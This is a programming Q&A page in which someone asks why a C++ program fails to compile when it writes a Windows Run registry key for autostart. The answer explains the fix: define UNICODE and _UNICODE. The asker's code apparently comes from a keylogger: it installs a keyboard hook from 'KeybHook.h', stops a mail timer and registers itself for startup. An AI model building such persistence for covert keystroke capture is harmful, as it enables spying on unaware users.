Search code examples
c++winapiregistryautorun

C++ registry key issue


I have a problem with some c++ code.

To be more exact, I want when the program that is running to register a Registry Key for autostart when Windows boots.
The rest of code is placed in another header and I think you guys don't need it.

#include <iostream>
#include <windows.h>
#include "KeybHook.h"
using namespace std;

int main ()
{
    MSG Msg;
    IO::MkDir (IO::GetOurPath (true));
    InstalHook ();
    while (GetMessage (&Msg, NULL, 0, 0))
        {
            TranslateMessage(&Msg);
            DispatchMessage(&Msg);
        }
    MailTimer.Stop ();
    std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe";
    HKEY hkey = NULL;
    LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key
    LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
    return 0;
}

And I get this error at compiling

main.cpp||In function 'int main()':|
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'|
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'|
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===|

Solution

  • You're using the ANSI versions of the Windows APIs, but your strings are Unicode.

    You should #define UNICODE and #define _UNICODE (you need both; one is for the Windows APIs and one is for the C Runtime).

    If you're building under a Visual Studio project, you can define those without editing your code by enabling "Use Unicode character set" in the project settings, under General / Character Set.